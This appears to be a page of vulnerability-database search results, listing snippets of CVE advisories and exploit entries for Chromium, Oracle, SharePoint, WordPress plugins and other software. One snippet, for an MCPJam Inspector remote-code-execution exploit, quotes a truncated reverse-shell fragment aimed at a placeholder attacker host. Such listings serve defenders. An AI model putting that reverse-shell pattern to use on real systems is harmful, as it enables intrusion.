362 matches found
ROOT-APP-NPM-CVE-2026-27606 CVE-2026-27606 in rollup - Patched by Root
Root has patched CVE-2026-27606 in the rollup package for Root:npm. Multiple fixed versions available...
EUVD-2026-53695
A vulnerability was found in heshengtao super-agent-party up to 0.4.1. This affects the function getfilecontent of the file server.py of the component executetoolmanually Endpoint. The manipulation of the argument toolname/toolparams results in information disclosure. The attack can be launched...
The vulnerability of the Downloads component in the Google Chrome browser allows a hacker to trigger a service failure.
The vulnerability of the Downloads component in the Google Chrome browser is related to insufficient validation of input data. Exploiting this vulnerability can allow a remote attacker to cause service interruptions...
CVE-2026-17655
An insufficient validation of untrusted input flaw was found in the ANGLE component of the Chromium browser. Upstream bugs: https://code.google.com/p/chromium/issues/detail?id=522556145...
Astra Linux – Vulnerability in Chromium
Using “after free” in Media in Google Chrome on Linux and ChromeOS before version 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to execute arbitrary code within a sandbox through a crafted HTML page. Chromium security severity: Medium...
CVE-2026-60423
Affected product: Oracle Unified Directory (OUD Core) within Oracle Fusion Middleware. Vulnerable versions: 12.2.1.4.0 and 14.1.2.1.0. Impact: Low-privilege attacker with network access via LDAP can compromise OUD and potentially take over the directory. Severity: CVSS v3.1 base score 8.8 (HIGH) ...
Linux Distros Unpatched Vulnerability : CVE-2026-49476
The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve allocates unbounded memory...
CVE-2026-55052 Microsoft SharePoint Elevation of Privilege Vulnerability
...
CVE-2026-55127 Microsoft Word Remote Code Execution Vulnerability
...
MCPJam Inspector - Remote Code Execution
Exploit Title: MCPJam Inspector - Remote Code Execution Date: 07/03/2026 Exploit Author: Diamorphine Vendor Homepage: https://www.mcpjam.com/ Software Link: https://github.com/MCPJam Version: & /dev/tcp/attackerip/attackerport 0&1", "env": , "serverId": "Hello666" readyurl = urljoinurl,...
SUSE CVE-2026-54891
Improper Enforcement of Message Integrity During Transmission in a Communication Channel vulnerability in Erlang/OTP ssl tlsgenconnection module allows a network-positioned attacker to inject unauthenticated plaintext that the TLS client application later treats as authenticated server data. The...
CVE-2024-2883 vulnerabilities
Vulnerabilities for packages: chromium...
CVE-2026-13831
Out of bounds read and write in GPU in Google Chrome prior to 150.0.7871.47 allowed a remote attacker who had compromised the renderer process to execute arbitrary code inside a sandbox via a crafted HTML page. Chromium security severity: High...
CVE-2026-8592
The vulnerability CVE-2026-8592 affects the Rapid7 InsightConnect AWK Plugin (Linux) where the process_string action constructs shell commands unsafely in the processing pipeline, enabling OS command execution via text or expression parameters. This is a remote issue with potential impact on conf...
CVE-2026-56024
Cross-Site Request Forgery CSRF vulnerability in Saad Iqbal WP EasyPay allows Cross Site Request Forgery. This issue affects WP EasyPay: from n/a through 4.5.0...
CVE-2026-54187 WordPress JetEngine plugin <= 3.8.10.1 - SQL Injection vulnerability
Unauthenticated SQL Injection in JetEngine = 3.8.10.1 versions...
Exploit for Deserialization of Untrusted Data in Facebook React
CVE-2025-55182 — React2Shell Critical pre-authentication Remo...
CVE-2025-55660
A stack overflow in the gfopusreadlength function mediatools/avparsers.c of GPAC MP4Box v2.4 allows attackers to cause a Denial of Service DoS via supplying a crafted MP4 file...